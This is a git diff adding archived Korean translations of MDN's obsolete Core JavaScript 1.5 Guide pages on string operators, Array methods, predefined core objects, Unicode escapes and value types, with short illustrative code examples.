diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/string_operators/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/string_operators/index.html
new file mode 100644
index 0000000000..41c6c07286
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/operators/string_operators/index.html
@@ -0,0 +1,11 @@
+---
+title: String Operators
+slug: >-
+  Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Operators/String_Operators
+translation_of: Web/JavaScript/Guide/Expressions_and_Operators
+---
+<h4 id=".EB.AC.B8.EC.9E.90.EC.97.B4_.EC.97.B0.EC.82.B0.EC.9E.90" name=".EB.AC.B8.EC.9E.90.EC.97.B4_.EC.97.B0.EC.82.B0.EC.9E.90"> 문자열 연산자 </h4>
+<p>문자열 값에 사용할 수 있는 비교 연산자 외에도 연결 연산자(+)가 있는데, 이 연산자는 두 문자열 값을 연결한 새로운 문자열 값을 반환합니다. 예를 들어, <code>"my " + "string"</code>는 <code>"my string"</code>라는 문자열을 반환합니다.
+</p><p>축약된 할당 연산자인 += 또한 문자열 연결에 사용할 수 있습니다. 예를 들어 <code>mystring</code> 변수가 "alpha"라는 값을 가지고 있을 때, <code>mystring += "bet"</code>은 "alphabet"으로 평가되고, 그 값이 <code>mystring</code>에 할당됩니다.
+</p><p>{{ PreviousNext("Core_JavaScript_1.5_Guide:Operators:Logical_Operators", "Core_JavaScript_1.5_Guide:Operators:Special_Operators") }}
+</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Operators/String_Operators", "fr": "fr/Guide_JavaScript_1.5/Op\u00e9rateurs/Op\u00e9rateurs_li\u00e9s_aux_cha\u00eenes", "ja": "ja/Core_JavaScript_1.5_Guide/Operators/String_Operators", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Operatory/Operacje_na_\u0142a\u0144cuchach" } ) }}
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/predefined_core_objects/array_object/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/predefined_core_objects/array_object/index.html
new file mode 100644
index 0000000000..1f6ef48f3a
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/predefined_core_objects/array_object/index.html
@@ -0,0 +1,133 @@
+---
+title: Array Object
+slug: >-
+  Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Predefined_Core_Objects/Array_Object
+---
+<h3 id="Array_.EA.B0.9C.EC.B2.B4" name="Array_.EA.B0.9C.EC.B2.B4">Array 개체</h3>
+<p>JavaScript에는 명시적인 배열 자료형이 없습니다. 하지만 배열을 다루기 위해서 <code>Array</code> 개체와 그 개체의 메소드를 이용할 수 있습니다. <code>Array</code> 개체에는 다양한 방법으로 배열을 다루기 위한 메소드들이 있는데, 배열을 합치거나, 순서를 뒤집거나, 정렬하는 등의 작업을 할 수 있습니다. 배열 길이를 알 수 있는 속성과 정규 표현식에 사용할 수 있는 속성들이 있습니다.
+ <i>
+  배열</i>
+ 은 이름이나 색인으로 참조할 수 있는 값들을 모아놓은, 값의 순서가 유지되는 집합입니다. 예를 들어, 우리는 고용 번호로 색인된 고용인의 이름을 담고 있는 <code>emp</code>라는 배열을 만들 수 있습니다. 이 때 <code>emp{{ mediawiki.external(1) }}</code>는 1번 고용인, <code>emp{{ mediawiki.external(2) }}</code> 2번 고용인이 되는 것입니다.</p>
+<p> </p>
+<h4 id=".EB.B0.B0.EC.97.B4_.EB.A7.8C.EB.93.A4.EA.B8.B0" name=".EB.B0.B0.EC.97.B4_.EB.A7.8C.EB.93.A4.EA.B8.B0">배열 만들기</h4>
+<p><code>Array</code> 개체는 이렇게 만들 수 있습니다.</p>
+<pre>1. arrayObjectName = new Array(element0, element1, ..., elementN)
+2. arrayObjectName = new Array(arrayLength)
+</pre>
+<p><code>arrayObjectName</code>은 새 개체의 이름이거나 존재하는 다른 개체의 속성 이름입니다. <code>Array</code> 개체의 속성이나 메소드를 이용할 때는 arrayObjectName은 존재하는 <code>Array</code> 개체 이름이거나 존재하는 다른 개체의 속성입니다.</p>
+<p><code>element0, element1, ..., elementN</code>는 배열의 원소(element)가 될 값들입니다. 이런 식으로 지정하면, 나열한 값들을 원소로 가지고, 길이는 값의 개수인 배열이 만들어집니다.</p>
+<p><code>arrayLength</code>는 배열의 초기 길이입니다. 다음 코드는 원소 다섯 개를 가지는 배열을 만듭니다.</p>
+<pre>billingMethod = new Array(5)
+</pre>
+<p>배열 상수값 또한 <code>Array</code> 개체입니다. 예를 들어, 다음과 같은 상수값은 <code>Array</code> 개체입니다. 배열 상수값에 대한 자세한 내용은 <a href="ko/Core_JavaScript_1.5_Guide/Literals#.EB.B0.B0.EC.97.B4_.EC.83.81.EC.88.98.EA.B0.92">배열 상수값</a>을 보시기 바랍니다.</p>
+<pre>coffees = ["French Roast", "Columbian", "Kona"]
+</pre>
+<h4 id=".EB.B0.B0.EC.97.B4.EC.97.90_.EC.9B.90.EC.86.8C_.EB.84.A3.EA.B8.B0" name=".EB.B0.B0.EC.97.B4.EC.97.90_.EC.9B.90.EC.86.8C_.EB.84.A3.EA.B8.B0">배열에 원소 넣기</h4>
+<p>원소에 값을 할당함으로써 배열에 값을 넣을 수 있습니다.</p>
+<pre>emp[1] = "Casey Jones"
+emp[2] = "Phil Lesh"
+emp[3] = "August West"
+</pre>
+<p>배열을 만들 때 값을 넣을 수도 있습니다.</p>
+<pre>myArray = new Array("Hello", myVar, 3.14159)
+</pre>
+<h4 id=".EB.B0.B0.EC.97.B4_.EC.9B.90.EC.86.8C_.EC.B0.B8.EC.A1.B0.ED.95.98.EA.B8.B0" name=".EB.B0.B0.EC.97.B4_.EC.9B.90.EC.86.8C_.EC.B0.B8.EC.A1.B0.ED.95.98.EA.B8.B0">배열 원소 참조하기</h4>
+<p>배열 원소의 순서를 나타내는 숫자로 원소를 참조할 수 있습니다. 예를 들어 다음과 같은 배열을 만들었다고 해봅시다.</p>
+<pre>myArray = new Array("Wind","Rain","Fire")
+</pre>
+<p>그러면 첫 번째 원소는 <code>myArray{{ mediawiki.external(0) }}</code>으로 참조할 수 있고, 두 번째 원소는 <code>myArray{{ mediawiki.external(1) }}</code>로 참조할 수 있습니다.</p>
+<p>원소의 색인은 영(0)부터 시작하지만 배열 길이(예를 들면 <code>myArray.length</code>)는 배열의 원소 개수를 나타냅니다.</p>
+<p> </p>
+<h4 id="Array_.EA.B0.9C.EC.B2.B4.EC.9D.98_.EB.A9.94.EC.86.8C.EB.93.9C" name="Array_.EA.B0.9C.EC.B2.B4.EC.9D.98_.EB.A9.94.EC.86.8C.EB.93.9C">Array 개체의 메소드</h4>
+<p><code>Array</code> 개체는 다음과 같은 메소드들을 가지고 있습니다.</p>
+<ul>
+ <li><code>concat</code> 메소드는 두 배열을 합쳐서 새 배열 하나를 반환합니다.</li>
+</ul>
+<pre>myArray = new Array("1","2","3")
+myArray = myArray.concat("a", "b", "c"); // myArray는 ["1", "2", "3", "a", "b", "c"]이 되었습니다.
+</pre>
+<ul>
+ <li><code>join(deliminator = ",")</code> 메소드는 배열의 모든 원소를 문자열로 바꿔서 하나의 문자열을 만들어줍니다.</li>
+</ul>
+<pre>myArray = new Array("Wind","Rain","Fire")
+list = myArray.join(" - "); // list는 "Wind - Rain - Fire"입니다.
+</pre>
+<ul>
+ <li><code>pop</code> 메소드는 배열의 마지막 원소를 배열에서 제거하고 그 원소를 반환합니다.</li>
+</ul>
+<pre>myArray = new Array("1", "2", "3");
+last=myArray.pop(); // MyArray는 ["1", "2"], last = "3"이 되었습니다.
+</pre>
+<ul>
+ <li><code>push</code> 메소드는 하나 또는 그 이상의 원소를 배열 끝에 추가하고, 추가된 마지막 원소를 반환합니다.</li>
+</ul>
+<pre>myArray = new Array("1", "2");
+myArray.push("3"); // MyArray는 ["1", "2", "3"]이 되었습니다.
+</pre>
+<ul>
+ <li><code>reverse</code> 메소드는 원소의 순서를 뒤집어서 첫 번째 원소가 마지막 원소가 되고, 마지막 원소가 첫 번째 원소가 되도록 합니다.</li>
+</ul>
+<pre>myArray = new Array ("1", "2", "3");
+myArray.reverse(); // myArray = [ "3", "2", "1" ]이 되었습니다.
+</pre>
+<ul>
+ <li><code>shift</code> 메소드는 첫 번째 요소를 배열에서 제거하고, 그 원소를 반환합니다.</li>
+</ul>
+<pre>myArray = new Array ("1", "2", "3");
+first=myArray.shift(); // MyArray는 ["2", "3"], first는 "1"이 되었습니다.
+</pre>
+<ul>
+ <li><code>slice (start_index, upto_index)</code> 메소드는 배열의 일부분을 추출하여 새 배열을 반환합니다.</li>
+</ul>
+<pre>myArray = new Array ("a", "b", "c", "d", "e");
+myArray = myArray.slice(1,4); //색인 1부터 색인 4 바로 앞까지의 원소를 추출해서 [ "b", "c", "d" ]를 반환합니다.
+</pre>
+<ul>
+ <li><code>splice(index, count_to_remove, addelement1, addelement2, ...)</code> 메소드는 배열에 원소를 추가하거나 배열에서 원소를 제거합니다.</li>
+</ul>
+<pre>myArray = new Array ("1", "2", "3", "4", "5");
+myArray.splice(1,3,"a","b","c", "d"); // MyArray는 ["1", "a", "b", "c", "d", "5"]가 되었습니다.
+// 이 코드는 색인 1(즉 "2")부터 원소 세 개를 제거하고, 그 자리에 원소를 추가합니다.
+</pre>
+<ul>
+ <li><code>sort</code> 메소드는 원소를 정렬합니다.</li>
+</ul>
+<pre>myArray = new Array("Wind","Rain","Fire")
+myArray.sort(); // 배열을 정렬했으므로 myArrray = [ "Fire", "Rain", "Wind" ]가 되었습니다.
+</pre>
+<p><code>sort</code> 메소드에 배열을 어떻게 정렬할지 결정하는 콜백 함수를 전해줄 수 있습니다. 그 함수는 두 값을 비교해서 다음 셋 중 하나를 반환해야 합니다.</p>
+<ul>
+ <li>정렬할 때 a가 b보다 작다면 -1(또는 임의의 음수)를 반환</li>
+ <li>정렬할 때 a가 b보다 크다면 1(또는 임의의 양수)를 반환</li>
+ <li>a와 b가 같으면 0을 반환</li>
+</ul>
+<p>예를 들어 다음 코드는 원소의 마지막 글자를 기준으로 배열을 정렬합니다.</p>
+<pre>var sortFn = function(a,b){
+    if (a[a.length - 1] &lt; b[b.length - 1]) return -1;
+    if (a[a.length - 1] &gt; b[b.length - 1]) return 1;
+    if (a[a.length - 1] == b[b.length - 1]) return 0;
+    }
+myArray.sort(sortFn); // 배열을 정렬했으므로 myArray = ["Wind","Fire","Rain"]가 되었습니다.
+</pre>
+<ul>
+ <li><code>unshift</code> 메소드는 하나 또는 그 이상의 원소를 배열 앞에 추가하고 배열의 새 길이를 반환합니다.</li>
+</ul>
+<h4 id="2.EC.B0.A8.EC.9B.90_.EB.B0.B0.EC.97.B4" name="2.EC.B0.A8.EC.9B.90_.EB.B0.B0.EC.97.B4">2차원 배열</h4>
+<p>다음 코드는 2차원 배열을 만듭니다.</p>
+<pre>a = new Array(4)
+for (i=0; i &lt; 4; i++) {
+   a[i] = new Array(4)
+   for (j=0; j &lt; 4; j++) {
+      a[i][j] = "["+i+","+j+"]"
+   }
+}
+</pre>
+<p>바로 위 코드는 이런 배열을 만들어냅니다.</p>
+<pre>Row 0:[0,0][0,1][0,2][0,3]
+Row 1:[1,0][1,1][1,2][1,3]
+Row 2:[2,0][2,1][2,2][2,3]
+Row 3:[3,0][3,1][3,2][3,3]
+</pre>
+<h4 id=".EB.B0.B0.EC.97.B4.EA.B3.BC_.EC.A0.95.EA.B7.9C_.ED.91.9C.ED.98.84.EC.8B.9D" name=".EB.B0.B0.EC.97.B4.EA.B3.BC_.EC.A0.95.EA.B7.9C_.ED.91.9C.ED.98.84.EC.8B.9D">배열과 정규 표현식</h4>
+<p>배열이 정규 표현식과 문자열을 매치한 결과로 생성되었을 때, 그 배열은 매치에 대한 정보를 제공하는 속성과 원소를 포함하고 있습니다. <code>RegExp.exec</code>, <code>String.match</code>, <code>String.split</code>의 반환 값은 배열입니다. 정규 표현식과 관련된 배열 사용에 대한 정보를 얻으려면 4장 <a href="ko/Core_JavaScript_1.5_Guide#.EC.A0.95.EA.B7.9C_.ED.91.9C.ED.98.84.EC.8B.9D">정규 표현식</a>을 보십시오.</p>
+<p>{{ PreviousNext("Core_JavaScript_1.5_Guide:Predefined_Core_Objects", "Core_JavaScript_1.5_Guide:Predefined_Core_Objects:Boolean_Object") }}</p>
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/predefined_core_objects/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/predefined_core_objects/index.html
new file mode 100644
index 0000000000..9306e0ea94
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/predefined_core_objects/index.html
@@ -0,0 +1,20 @@
+---
+title: Predefined Core Objects
+slug: >-
+  Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Predefined_Core_Objects
+translation_of: Web/JavaScript/Guide
+---
+<h3 id=".EB.AF.B8.EB.A6.AC_.EC.A0.95.EC.9D.98.EB.90.9C_.EA.B8.B0.EB.B3.B8_.EA.B0.9C.EC.B2.B4" name=".EB.AF.B8.EB.A6.AC_.EC.A0.95.EC.9D.98.EB.90.9C_.EA.B8.B0.EB.B3.B8_.EA.B0.9C.EC.B2.B4"> 미리 정의된 기본 개체 </h3>
+<p>이 절에서는 기본 JavaScrip에 미리 정의된 개체에 대해서 설명하겠습니다.
+</p>
+<ul><li> <a href="ko/Core_JavaScript_1.5_Guide/Predefined_Core_Objects/Array_Object">Array 개체</a>
+</li><li> <a href="ko/Core_JavaScript_1.5_Guide/Predefined_Core_Objects/Boolean_Object">Boolean 개체</a>
+</li><li> <a href="ko/Core_JavaScript_1.5_Guide/Predefined_Core_Objects/Date_Object">Date 개체</a>
+</li><li> <a href="ko/Core_JavaScript_1.5_Guide/Predefined_Core_Objects/Function_Object">Function 개체</a>
+</li><li> <a href="ko/Core_JavaScript_1.5_Guide/Predefined_Core_Objects/Math_Object">Math 개체</a>
+</li><li> <a href="ko/Core_JavaScript_1.5_Guide/Predefined_Core_Objects/Number_Object">Number 개체</a>
+</li><li> <a href="ko/Core_JavaScript_1.5_Guide/Predefined_Core_Objects/RegExp_Object">RegExp 개체</a>
+</li><li> <a href="ko/Core_JavaScript_1.5_Guide/Predefined_Core_Objects/String_Object">String 개체</a>
+</li></ul>
+<p>{{ PreviousNext("Core_JavaScript_1.5_Guide:Creating_New_Objects:Deleting_Properties", "Core_JavaScript_1.5_Guide:Predefined_Core_Objects:Array_Object") }}
+</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Predefined_Core_Objects", "fr": "fr/Guide_JavaScript_1.5/Objets_pr\u00e9d\u00e9finis", "ja": "ja/Core_JavaScript_1.5_Guide/Predefined_Core_Objects", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Obiekty_predefiniowane" } ) }}
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/unicode/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/unicode/index.html
new file mode 100644
index 0000000000..562b7a53a0
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/unicode/index.html
@@ -0,0 +1,109 @@
+---
+title: Unicode
+slug: Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Unicode
+translation_of: Web/JavaScript/Guide/Grammar_and_types
+---
+<h3 id=".EC.9C.A0.EB.8B.88.EC.BD.94.EB.93.9C" name=".EC.9C.A0.EB.8B.88.EC.BD.94.EB.93.9C"> 유니코드 </h3>
+<p>유니코드는 세계의 주요한 문자 언어를 교환하고 표현하기 위한 문자-코딩 표준입니다. 유니코드는 아메리카, 유럽, 중동, 아프리카, 인도, 아시아, 태평양 지역(Pacifica)의 언어를 포함하며 고문자와 기술 분야 기호들도 포함합니다. 유니코드는 공통적인 기술 분야, 수학 분야 기호 뿐만 아니라 여러 언어를 포함한 텍스트의 교환, 처리, 표현을 지원합니다. 유니코드는 나라마다 서로 다른 문자 표준으로 인해서 여러 언어를 포함했을 때 발생하는 국제화 문제를 해결할 수 있기를 희망합니다. 하지만 아직은 모든 현대 문자, 고대 문자를 지원하지는 못합니다.
+</p><p>유니코드 문자 집합은 알려진 모든 인코딩을 위해 사용될 수 있습니다. 유니코드는 ASCII (American Standard Code for Information Interchange, 정보 교환을 위한 미국 표준 코드) 문자 집합을 본떠 만들어졌습니다. 각각의 문자에 숫자와 이름을 부여한 것입니다. 문자 인코딩은 문자의 정체성(identity)과 숫자 값(코드 위치)와 함께 숫자 값의 비트 표현을 명시합니다. 16비트 숫자 값(코드 값)은 U+0041처럼 접두어 U뒤에 16진수를 붙여서 표시합니다. 이 값의 유일한 이름은 LATIN CAPITAL LETTER A입니다.
+</p><p><b>JavaScript 1.3 이전 버전은 유니코드를 지원하지 않습니다.</b>
+</p>
+<h4 id=".EC.9C.A0.EB.8B.88.EC.BD.94.EB.93.9C.EC.99.80_ASCII_.EB.B0.8F_ISO_.EC.82.AC.EC.9D.B4.EC.9D.98_.ED.98.B8.ED.99.98.EC.84.B1" name=".EC.9C.A0.EB.8B.88.EC.BD.94.EB.93.9C.EC.99.80_ASCII_.EB.B0.8F_ISO_.EC.82.AC.EC.9D.B4.EC.9D.98_.ED.98.B8.ED.99.98.EC.84.B1"> 유니코드와 ASCII 및 ISO 사이의 호환성 </h4>
+<p>유니코드는 ISO 10646의 부분집합인 국제 표준 ISO/IEC 10646-1; 1993과 완벽하게 호환됩니다.
+</p><p>몇몇 인코딩 표준(UTF-8, UTF-16, ISO UCS-2를 포함하는)들이 실제 비트 값으로 유니코드를 표현하기 위해 사용됩니다.
+</p><p>UTF-8 인코딩은 ASCII 문자와 호환되며 많은 프로그램이 UTF-8을 지원합니다. 앞쪽 128개의 유니코드 문자는 ASCII 문자에 대응되며 같은 바이트 값을 가지고 있습니다. U+0020부터 U+007E 까지의 유니코드 문자는 ASCII 문자 0x20 부터 0x7E 까지와 동일합니다. 라틴 알파벳을 지원하고 7비트 문자 집합을 사용하는 ASCII와는 달리, UTF-8은 한 문자를 위해서 한 개부터 네 개 사이의 8진수(octet)를 사용합니다. ("8진수"는 바이트 또는 8비트를 의미합니다.) 이 방법으로 수백만개의 문자를 표현할 수 있습니다. 다른 인코딩 표준인 UTF-16은 유니코드 문자를 표현하기 위해 2바이트를 사용합니다. 이스케이프 시퀀스를 이용하여 UTF-16은 4바이트를 써서 모든 유니코드 범위를 표현합니다. ISO UCS-2 (Universal Character Set, 세계 문자 집합)은 2바이트를 사용합니다.
+</p><p>JavaScript와 Navigator가 UTF-8/유니코드를 지원한다는 것은 우리가 비 라틴 문자와 국제화되고 지역화된 문자에다 특수한 기술 분야 기호까지 JavaScript 프로그램에 쓸 수 있다는 것을 의미합니다. 유니코드는 여러 언어를 포함한 텍스트를 인코딩할 수 있는 표준적인 방법을 제공합니다. UTF-8 인코딩이 ASCII와 호환되기 때문에, ASCII 문자를 프로그램에 사용할 수 있습니다. 우리는 JavaScript의 주석, 문자열 리터럴, 식별자(identifier), 정규 표현식에 비 ASCII 유니코드 문자를 쓸 수 있습니다.
+</p>
+<h4 id=".EC.9C.A0.EB.8B.88.EC.BD.94.EB.93.9C_.EC.9D.B4.EC.8A.A4.EC.BC.80.EC.9D.B4.ED.94.84_.EC.8B.9C.ED.80.80.EC.8A.A4" name=".EC.9C.A0.EB.8B.88.EC.BD.94.EB.93.9C_.EC.9D.B4.EC.8A.A4.EC.BC.80.EC.9D.B4.ED.94.84_.EC.8B.9C.ED.80.80.EC.8A.A4"> 유니코드 이스케이프 시퀀스 </h4>
+<p>우리는 문자열 리터럴, 정규 표현식, 식별자에 유니코드 이스케이프 시퀀스를 사용할 수 있습니다. 이스케이프 시퀀스는 ASCII 문자 여섯 개로 이루어지는데, \u 뒤에 16진수를 표현하는 숫자 네 개가 붙은 모양입니다. 예를 들어 \u00A9는 저작권 기호를 나타냅니다. JavaScript에서 모든 유니코드 이스케이프 시퀀스는 문자 한 개로 인식됩니다.
+</p><p>다음의 코드는 저작권 문자와 "Netscape Communications"라는 문자열을 반환합니다.
+</p>
+<pre>x="\u00A9 Netscape Communications"</pre>
+<p>다음의 표는 자주 사용되는 특수 문자의 유니코드 값을 모은 것입니다.
+</p>
+<table class="fullwidth-table">
+<tbody><tr>
+<th>분류</th>
+<th>유니코드 값</th>
+<th>이름</th>
+<th>형식화된 이름(Format name)</th>
+</tr>
+<tr>
+<td>공백 문자</td>
+<td>\u0009</td>
+<td>Tab</td>
+<td>&lt;TAB&gt;</td>
+</tr>
+<tr>
+<td> </td>
+<td>\u000B</td>
+<td>Vertical Tab</td>
+<td>&lt;VT&gt;</td>
+</tr>
+<tr>
+<td> </td>
+<td>\u000C</td>
+<td>Form Feed</td>
+<td>&lt;FF&gt;</td>
+</tr>
+<tr>
+<td> </td>
+<td>\u0020</td>
+<td>Space</td>
+<td>&lt;SP&gt;</td>
+</tr>
+<tr>
+<td>줄 끝 문자</td>
+<td>\u000A</td>
+<td>Line Feed</td>
+<td>&lt;LF&gt;</td>
+</tr>
+<tr>
+<td> </td>
+<td>\u000D</td>
+<td>Carriage Return</td>
+<td>&lt;CR&gt;</td>
+</tr>
+<tr>
+<td>그 외 유니코드 이스케이프 시퀀스</td>
+<td>\u0008</td>
+<td>Backspace</td>
+<td>&lt;BS&gt;</td>
+</tr>
+<tr>
+<td> </td>
+<td>\u0009</td>
+<td>Horizontal Tab</td>
+<td>&lt;HT&gt;</td>
+</tr>
+<tr>
+<td> </td>
+<td>\u0022</td>
+<td>Double Quote</td>
+<td>"</td>
+</tr>
+<tr>
+<td> </td>
+<td>\u0027</td>
+<td>Single Quote</td>
+<td>'</td>
+</tr>
+<tr>
+<td> </td>
+<td>\u005C</td> <td>Backslash</td>
+<td>\</td>
+</tr>
+</tbody></table>
+<p><small><b>표 2.2: 특수 문자의 유니코드 값</b></small>
+</p><p>JavaScript에서 유니코드 이스케이프 시퀀스는 Java와 다릅니다. JavaScript에서, 이스케이프 시퀀스가 특수 문자로 먼저 해석되지 않습니다. 예를 들어, 줄 끝 이스케이프 시퀀스가 문자열에 포함되어 있어도 함수에 의해 해석되기 전까지는 문자열을 자르지 않습니다. 주석에 포함된 이스케이프 시퀀스는 모두 무시됩니다. Java에서는 한 줄 주석에 이스케이프 시퀀스가 있으면 유니코드 문자로 해석됩니다. 문자열 리터럴에서 Java 컴파일러는 이스케이프 시퀀스를 먼저 해석합니다. 예를 들어 줄 끝 이스케이프 문자(즉 \u000A)가 Java에서 사용되면 문자열 리터럴을 끝나게 합니다. Java에서는 줄 끝 문자가 문자열 리터럴에 포함될 수 없으므로, 에러가 발생합니다. 문자열 리터럴에 개행 문자를 넣으려면 반드시 \n을 사용해야 합니다. JavaScript에서 이스케이프 시퀀스는 \n과 같은 방식으로 동작합니다.
+</p>
+<div class="note">참고: 긴 문자열을 변환하는 웹 프로그램 <a class="external" href="http://www.hot-tips.co.uk/useful/unicode_converter.HTML">Hot-Tips' Unicode Converter</a>, by Bob Foley.</div>
+<h4 id="JavaScript_.ED.8C.8C.EC.9D.BC.EC.97.90.EC.84.9C_.EC.9C.A0.EB.8B.88.EC.BD.94.EB.93.9C_.EB.AC.B8.EC.9E.90" name="JavaScript_.ED.8C.8C.EC.9D.BC.EC.97.90.EC.84.9C_.EC.9C.A0.EB.8B.88.EC.BD.94.EB.93.9C_.EB.AC.B8.EC.9E.90"> JavaScript 파일에서 유니코드 문자 </h4>
+<p>초기 버전의 <a href="ko/Gecko">Gecko</a>는 XUL에서 로드되는 JavaScript 파일의 인코딩이 Latin-1일 것이라고 가정했습니다. Gecko 1.8부터는 XUL 파일의 인코딩으로 부터 JavaScript 파일의 인코딩을 유추하도록 변경되었습니다. 더 많은 정보는 <a href="ko/International_characters_in_XUL_JavaScript">International characters in XUL JavaScript</a> 페이지를 참고하시기 바랍니다.
+</p>
+<h4 id=".EC.9C.A0.EB.8B.88.EC.BD.94.EB.93.9C.EB.A1.9C_.EB.AC.B8.EC.9E.90_.ED.91.9C.EC.8B.9C.ED.95.98.EA.B8.B0" name=".EC.9C.A0.EB.8B.88.EC.BD.94.EB.93.9C.EB.A1.9C_.EB.AC.B8.EC.9E.90_.ED.91.9C.EC.8B.9C.ED.95.98.EA.B8.B0"> 유니코드로 문자 표시하기 </h4>
+<p>우리는 다른 언어나 기술 분야 기호를 표시하기 위해서 유니코드를 사용할 수 있습니다. 문자를 제대로 표시하기 위해서는 Mozilla Firefox나 Netscape 같은 클라이언트가 유니코드를 지원해야 합니다. 게다가 클라이언트에서 사용할 수 있는 적절한 유니코드 글꼴이 필요하고, 클라이언트 플랫폼이 유니코드를 지원해야 합니다. 종종 유니코드 글꼴이 모든 유니코드 문자를 표시하지 못하는 경우가 있습니다. Windows 95 같은 몇몇 플랫폼은 유니코드를 부분적으로만 지원합니다.
+</p><p>비 ASCII 문자 입력을 받기 위해서는 클라이언트가 유니코드로 입력을 보내야 합니다. 표준 확장 키보드(standard enhanced keyborad)를 사용하면 클라이언트에서 유니코드가 지원하는 추가적인 문자를 쉽게 입력할 수 없습니다. 때때로 유니코드 문자를 입력하려면 유니코드 이스케이프를 사용하는 방법 밖에 없을 때도 있습니다.
+</p><p>유니코드에 대한 더 많은 정보를 얻으려면 <a class="external" href="http://www.unicode.org/">유니코드 홈페이지</a>나 The Unicode Standard, Version 2.0, published by Addison-Wesley, 1996 를 보시기 바랍니다.
+</p><p>{{ PreviousNext("Core_JavaScript_1.5_Guide:Literals", "Core_JavaScript_1.5_Guide:Expressions") }}
+</p>{{ languages( { "en": "en/Core_JavaScript_1.5_Guide/Unicode", "fr": "fr/Guide_JavaScript_1.5/Unicode", "ja": "ja/Core_JavaScript_1.5_Guide/Unicode", "pl": "pl/Przewodnik_po_j\u0119zyku_JavaScript_1.5/Unicode" } ) }}
diff --git a/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/values/index.html b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/values/index.html
new file mode 100644
index 0000000000..8fcd0070e9
--- /dev/null
+++ b/files/ko/web/javascript/guide/obsolete_pages/core_javascript_1.5_guide/values/index.html
@@ -0,0 +1,39 @@
+---
+title: Values
+slug: Web/JavaScript/Guide/Obsolete_Pages/Core_JavaScript_1.5_Guide/Values
+translation_of: Web/JavaScript/Guide/Grammar_and_types
+---
+<h3 id=".EA.B0.92" name=".EA.B0.92"> 값 </h3>
+<p>JavaScript는 다음과 같은 값 형식을 인식합니다.
+</p>
+<ul><li> <a href="ko/Core_JavaScript_1.5_Reference/Global_Objects/Number">수</a>, 42나 3.14159
+</li><li> <a href="ko/Core_JavaScript_1.5_Reference/Global_Objects/Boolean">논리적(불리언)</a> 값, <code>true</code>와 <code>false</code>
+</li><li> <a href="ko/Core_JavaScript_1.5_Reference/Global_Objects/String">문자열</a>, "안녕!"
+</li><li> <code>null</code>, null 값을 나타내는 특별한 키워드. <code>null</code>은 또한 기본(primitive) 값이기도 합니다. JavaScript는 대소문자를 구분하므로, <code>null</code>은 <code>Null</code>이나 <code>NULL</code>과는 다릅니다.
+</li><li> <code><a href="ko/Core_JavaScript_1.5_Reference/Global_Properties/undefined">undefined</a></code>, 값이 정의되지 않은 최상위 속성. <code>undefined</code>도 기본(primitive) 값입니다.
+</li></ul>
+<p>이렇게 조금 적어보이는 값 형식 또는 "자료형"이지만 훌륭한 기능을 작성할 수 있습니다. 정수와 실수 사이에 엄격한 구분은 없습니다. JavaScript에는 명시적인 날짜 자료형은 없습니다. 하지만 <code><a href="ko/Core_JavaScript_1.5_Reference/Global_Objects/Date">Date</a></code> 개체를 이용하면 됩니다.
+<a href="ko/Core_JavaScript_1.5_Reference/Global_Objects/Object">Object</a>와 <a href="ko/Core_JavaScript_1.5_Reference/Global_Objects/Function">함수</a>는 언어의 또다른 기초 요소입니다. 개체는 값을 포함할 수 있는 이름 붙은 어떤 것이라고 생각하면 되고, 함수는 프로그램이 수행할 수 있는 실행 절차라고 생각하면 됩니다.
+</p>
+<h4 id=".EC.9E.90.EB.A3.8C.ED.98.95_.EB.B3.80.ED.99.98" name=".EC.9E.90.EB.A3.8C.ED.98.95_.EB.B3.80.ED.99.98"> 자료형 변환 </h4>
+<p>JavaScript는 동적 타입 언어입니다. 이 말은 변수를 선언할 때 타입을 지정하지 않아도 되고, 스크립트 실행중에 필요에 따라 자동으로 자료형이 바뀐다는 말입니다. 예를 들어 다음과 같이 변수를 선언할 수 있습니다.
+</p>
+<pre class="eval">var answer = 42
+</pre>
+<p>그 후에 이 변수에 문자열 값을 할당할 수 있습니다.
+</p>
+<pre class="eval">answer = "Thanks for all the fish..."
+</pre>
+<p>JavaScript는 동적 타입 언어이기 때문에, 이렇게 대입하더라도 에러를 내지 않습니다.
+</p><p>숫자와 문자열 값을 + 연산자로 계산하는 표현식에서, JavaScript는 숫자를 문자열로 변환합니다. 예를 들어 다음과 같은 문장을 생각해봅시다.
+</p>
+<pre class="eval">x = "The answer is " + 42 // returns "The answer is 42"
+y = 42 + " is the answer" // returns "42 is the answer"
+</pre>
+<p>다른 연산자를 사용하는 문장에서는 숫자를 문자열로 변환하지 않습니다.
+</p>
+<pre class="eval">"37" - 7 // returns 30
+"37" + 7 // returns "377"
+</pre>
+<p>{{ PreviousNext("Core_JavaScript_1.5_Guide:JavaScript_Overview", "Core_JavaScript_1.5_Guide:Variables") }}
